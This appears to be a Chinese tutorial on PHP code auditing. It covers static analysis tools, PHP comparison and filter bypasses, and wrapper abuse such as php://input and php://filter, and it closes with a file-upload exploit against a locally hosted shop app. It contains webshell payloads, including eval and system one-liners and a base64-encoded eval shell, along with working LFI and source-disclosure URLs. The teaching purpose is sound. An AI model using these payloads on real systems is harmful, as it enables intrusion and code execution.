php代码审计

91 阅读5分钟

[TOC]

代码审计工具

Fortify

Fortify 是⼀个静态的、⽩盒的软件源代码安全测试⼯具。通过与软件安全漏洞规则集进⾏匹配、查找,从⽽将源代码中存在的安全漏洞扫描出来,并可导出报告。

⽀持语⾔

1. asp.net
2. VB.Net
3. c#.Net
4. ASP
5. VS6
7. java
8. JSP
9. javascript
10. HTML
11. XML
12. C/C++
13. PHP
14. T-SQL
15. PL/SQL
16. Action script

下载与安装

官网:www.opentext.com/zh-cn/produ…

  • 分别安装:

image-20251208210717795.png

  • 将fortify-common-23.2.0.0023.jar⽂件分别将下⾯路径的⽂件覆盖:Fortify_Apps_and_Tools_23.2.0\Core\lib

    Fortify_SCA_23.2.0\Core\lib

  • 更新规则

    解压FortifyRules_zh_CH_2023.1.1.0001(离线规则库).zip 规则库

    先删除 \Fortify_SCA_23.2.0\Core\config⽬录下的 ExternalMetadata 和rules⽂件夹,然后把解压的 ExternalMetadata 和 rules ⽂件夹拷⻉到该⽬录下

image-20251208212406328.png

  • 运⾏

    双击 Fortify_Apps_and_Tools_23.1.0\bin 下的 auditworkbench.cmd 即可开启 GUI界⾯,可以通过⿏标右键将该⽂件的快捷⽅式发送到桌⾯

image-20251209100903233.png

  • 注:不要自定义安装到别的地方,不然会提示找不到静态分析器。

使用方法

  1. 点击第三个新建扫描

  2. 弹出来这个界面后,配置扫哪个文件夹(include),或添加别的目录(Add Directory),以及扫描结果的保存位置。

image-20251209100903233.png

(js文件不用扫,Quick Scan Mode是快速扫描)

  1. 点击next后,Enable clean是清理缓存

image-20251209101410106.png

  1. 点击 Configure Rulepacks 选择你要扫面哪种语言

image-20251209104922337.png

  1. 点击 Configure Memory 选择分配占用内存

image-20251209102244927.png

  1. 点击 next ,按情况勾选。

image-20251209102448302.png

  1. 点击扫描,Run in Background 可以挂后台,

RIPS

RIPS是⼀个⽤ PHP 编写的源代码分析⼯具,它使⽤了静态分析技术,能够⾃动化地挖掘 PHP 源代码潜在的安全漏洞。RIPS 能够检测 XSS, SQL 注⼊, ⽂件泄露, Header Injection 漏洞等。

安装解析 PHP ⽂件的本地⽹络服务器(如果开发 PHP 应⽤程序已经可⽤)。

下载与安装

官网:RIPS - PHP Security Analysis - Browse Files at SourceForge.net

将rips复制到web⽬录

image-20251208214205937.png

访问 localhost/rips-0.55

image-20251208215445055.png

使用

  • subdirs:扫描所有⼦⽬录。

  • verbosity level:选择扫描结果的详细程度,缺省为1(建议就使⽤1)。

  • vuln type:选择需要扫描的漏洞类型。⽀持命令注⼊、代码执⾏、SQL注⼊等⼗余种漏洞类型,缺

  • 省为全部扫描。

  • code style:选择扫描结果的显示⻛格(⽀持9种语法⾼亮)。

  • /regex/:使⽤正则表达式过滤结果。

输⼊⽬录后可以查看扫描结果

image-20251208220003642.png

点击右上⻆ user input可以查看web输⼊

image-20251208220104167.png

详细使用:PHP代码审计工具——Rips详细使用教程 - 简书

Seay

Seay这是基于C#语⾔开发的⼀款针对PHP代码安全性审计的系统,主要运⾏于Windows系统上。基本上覆盖常⻅PHP漏洞。在功能上,它⽀持⼀键审计、代码调试、函数定位、插件扩展、⾃定义规则配置、代码⾼亮、编码调试转换、数据库执⾏监控等数⼗项强⼤功能。(错估率大点)

下载安装

下载seay代码审计⼯具并安装,安装成功如下:

image-20251211110222191.png

使用

  • 新建项⽬并打开pikachu源码⽬录

image-20251211110323099.png

  • 点击"⾃动审计",然后点击“开始”,软件开始运⾏分析整个项⽬

  • 查看扫描结果

image-20251211110444266.png


php代码审计重要函数

sha()函数比较绕过

if (isset($_GET['name']) and isset($_GET['password']))  //传入值不为null
{
	if ($_GET['name'] == $_GET['password'])  //值的对比不相等
		echo '<p>Your password can not be your name!</p>';
	else if (sha1($_GET['name']) === sha1($_GET['password']))  //'==='比较类型
		die('Flag: '.$flag);
	else
		echo '<p>Invalid password.</p>';
}  
//使用数组1和数组2满足了值不相等,以及传入sha1()函数后报错的false布尔类型,两个条件

url 输入:

http://127.0.0.1/07.php?name[]=1&password[]=2

sha1() 函数默认的传⼊参数类型是字符串型传入数组的情况下出现错误,使 sha1() 函数返回错误,也就是返回 false,这时===运算符就判断为true

密码md5比较绕过

if (isset($_GET['username']) and isset($_GET['password'])) {  //传入值不为null
	
    if ($_GET['username'] == $_GET['password'])   //值的对比不相等
		print 'Your password can not be your username.';
	else if (md5($_GET['username']) == md5($_GET['password']))  //md5的值相等
		die('Flag: '.$flag);
	else
		print 'Invalid password';
}

传入url:

http://172.22.0.5/09.php?username=QNKCDZO&password=240610708

因为==对⽐的时候会进⾏数据转换,0eXXXXXXXXXX 转成 0

md5('240610708') //0e462097431906509019562988736854
md5('QNKCDZO') //0e830400451993494058024219903391

md5('240610708')==md5('QNKCDZO'); //True
md5('240610708')===md5('QNKCDZO'); //False

这样的对应数值还有:
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

也可以使⽤数组绕过 http://127.0.0.1/09.php?username[]=1&password[]=2。PHP对数组进⾏hash计算都会得出null的空值

SESSION验证绕过

session_start();
if (isset($_GET['password'])) {   //传入值不为null
    
	if ($_GET['password'] == $_SESSION['password'])
		die ('Flag: '.$flag);
	else
		print '<p>Wrong guess.</p>';
}

注: isset()函数用于检测是否有传入参数 passeord,传入 password= 时依然判断为 true。

传入 url :

http://127.0.0.1/index.php?password=

image-20251210113324957.png

在PHP配置中的默认情况下,Session 是⽤ Session ID 来确定当前对话所对应的服务器Session,sessionID可在 cookie 中找到,当我们删除 cookie 中的sessionID后,$_SESSION[‘password’] 就会返回空,我们同样传⼊空的 password 就能绕过了。

urldecode二次编码绕过

$_GET["id"] = urldecode($_GET["id"]);

由于浏览器的⼀次urldecode,再由服务器端函数的⼀次decode,造成⼆次编码,⽽绕过过滤。 %2527 在两次urldecode会最后变成 '

str_replace绕过

经常出现在字符过滤等功能逻辑中,由于仅仅过滤⼀次,因此容易被绕过。

$filename= str_replace('../','',$filenames); //将../都替换成空。

仅替换 ../ 不够安全,攻击者可能使⽤ ....//..\ (Windows) 绕过。 建议:使⽤ realpath() 或专⻔的路径规范化函数。

更多漏洞函数:hongriSec/PHP-Audit-Labs: 一个关于PHP的代码审计项目


php伪协议总结

在PHP中,伪协议是⼀种特殊的协议,⽤于访问不同的数据源。它们并不是真正的⽹络协议,⽽是⼀种封装协议,使得PHP能够以特定的⽅式访问和操作数据。

file:// 协议

条件

不受 allow_url_fopenallow=_url_include 的影响。

用法

当出现读取⽂件函数如file_get_contents()fopen()include/require 等时,若用户输入未做严格过滤 / 校验,导致攻击者可控制 PHP 文件操作函数的参数,注入 file:// 协议来访问任意本地文件。

示例

file:// 协议 → 读取服务器本地文件系统:

file:// [⽂件的绝对路径和⽂件名]:

http://127.0.0.1/include.php?file=file://E:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.txt

file:// [⽂件的相对路径和⽂件名]:

http://127.0.0.1/include.php?file=./phpinfo.txt

http:// 协议 → 让服务器请求恶意服务器:

file:// [http://⽹络路径和⽂件名]:

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

php:// 协议

条件

allow_url_include :仅 php://inputphp://stdinphp://memoryphp://temp 需要 on。

php:// 访问各个输⼊/输出流(I/O streams),常见的 php://filter ⽤于读取源码,php://input ⽤于执⾏php代码。

php://input

php://input 是 PHP 中的一个输入流伪协议,用于读取POST 请求体中的原始数据,当开发者对php://input的使用不当,如未做过滤、直接将读取的内容写入文件 / 执行代码时,才会被攻击者利用。

示例

未过滤的文件写入 + php://input 导致 webshell 上传

<?php
    
$content = file_get_contents('php://input');
// 将数据写入指定文件
$file = fopen('test.php', 'w');
fwrite($file, $content);
fclose($file);
echo "文件写入成功";

?>

攻击伪造:

https://localhost
//用burp写入POST DATA部分
<?php eval($_POST[cmd]); ?>

结合文件包含漏洞的利用

<?php
$file = $_GET['file'];
include($file); // 未过滤的文件包含
?>

攻击伪造:

https://localhost/include.php?file=php://input
//用burp写入POST DATA部分
<?php system('whoami'); ?>

php://filter

php://filter 是 PHP 中的过滤器伪协议,主要用于在读取 / 写入文件时对数据流进行过滤处理(如编码转换、内容过滤、压缩解压等)。当开发者对用户输入的文件路径 / 协议未做过滤时,攻击者可利用php://filter结合文件包含(LFI/RFI)文件读取等漏洞,实现敏感文件读取代码绕过等攻击。

语法格式:

file=php://filter/[过滤链]/resource=[文件路径]

resource=<要过滤的数据流>(必须项)

过滤链:
read=<读链的过滤器>(可选项)    
write=<写链的过滤器>(可选项)

示例:

读取PHP 源码

<?php
// 未过滤的文件包含,用户可控GET参数file
$file = $_GET['file'];
include($file);
?>

攻击伪造:(read格式固定, resource填要读取的文件)

https://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=index.php
  • 若直接传入file=index.php,PHP 会解析并执行index.php,无法看到源码;

image-20251210220823970.png

注:出现上面的情况时无法使用 read 参数。

结果会出现basae64编码:

image-20251210221920512.png

解码后得到网站源代码:

image-20251210221827411.png

存在写入漏洞时,通过php://filter的写过滤器解码并写入恶意代码:

攻击伪造:

http://localhost/write.php?file=php://filter/write=convert.base64-decode/resource=1.php
//用burp写入POST DATA部分
PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

zip:// & bzip2:// & zlib:// 协议

作用

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩⽂件中的⼦⽂件,更重要的是不需要指定后缀名,可修改为任意后缀: jpg png gif xxx 等等。

示例

压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传 。

http://127.0.0.1/include.php?file=zip://E:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.jpg%23phpinfo.txt

压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样⽀持任意后缀名)。

http://127.0.0.1/include.php?file=compress.bzip2://E:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.bz2

压缩 phpinfo.txt 为 phpinfo.gz 并上传。

http://127.0.0.1/include.php?file=compress.zlib://E:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.gz

data:// 协议

条件

  • allow_url_fopen :on
  • allow_url_include :on

用法

dachuangta://text/plain,
data://text/plain;base64,

php代码审计实战

靶场搭建

  1. 将网站源码下载到本地

image-20251211111141653.png

  1. 找到网站的数据库创建文件。

image-20251211111541445.png

  1. 打开 Navicat,新建mall数据库,导入数据库文件。

image-20251211111827484.png

image-20251211111854476.png

  1. 修改数据库链接文件:/Mao/common.php

image-20251211112144537.png

  1. 打开 phpstudy,创建网站。(网站根目录路径不能有中文)

image-20251211112308701.png

  1. 创建成功:

image-20251211112804928.png

  1. 后台地址:域名/Mao_admin 账号:admin 密码:qymao.cn_q54

利用工具分析

image-20251211114041746.png

文件上传漏洞演示

  1. 查看下扫描结果发现存在路径类漏洞

image-20251211195704012.png

  1. 双击查看,发现存在文件上传

image-20251211195802030.png

  1. 在 vscode 中查看源码,看是否能满足文件上传前面的条件。

    需要满足文件名不为中文,不存在同名文件

image-20251211201101940.png

需要满足文件名在白名单中

 if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/pjpeg")) && ($_FILES["file"]["size"] < 5242880)){

需满足 $type=1

image-20251211201437843.png

需满足 $mod=upload

image-20251211201744628.png

image-20251211201732625.png

image-20251211201832975.png

  1. 尝试满足各个参数

    $typedaddslashes 过滤而来,右键转到函数定义。

image-20251211202156909.png

看不懂没关系,询问AI发现这个函数只是做一个深入递归和添加转义字符的作用,所以我们直接在url末尾加上 $type=1 即可。

$mod 的接收同 $type 一样。

  1. 构造请求,用自己的文件上传Demo上传到服务器

    <!DOCTYPE html>
    <html>
    <head>
       <title>文件上传示例</title>
    </head>
    <body>
       <form action="http://weishop.com/aapi/api.php?mod=upload&type=1" method="post" enctype="multipart/form-data">
           <input type="file" name="file">
           <input type="submit" value="上传文件">
       </form>
    </body>
    </html>
    
  2. 直接把html文件拖到浏览器运行:

image-20251211204816452.png

  1. 上传后如图所示:

image-20251211205106847.png

  1. 用 burp 抓包修改文件类型,绕过验证

image-20251211205523059.png

  1. 上传成功后返回了文件存储路径:

image-20251211205624360.png

  1. 访问文件,验证漏洞成功!

image-20251211205752104.png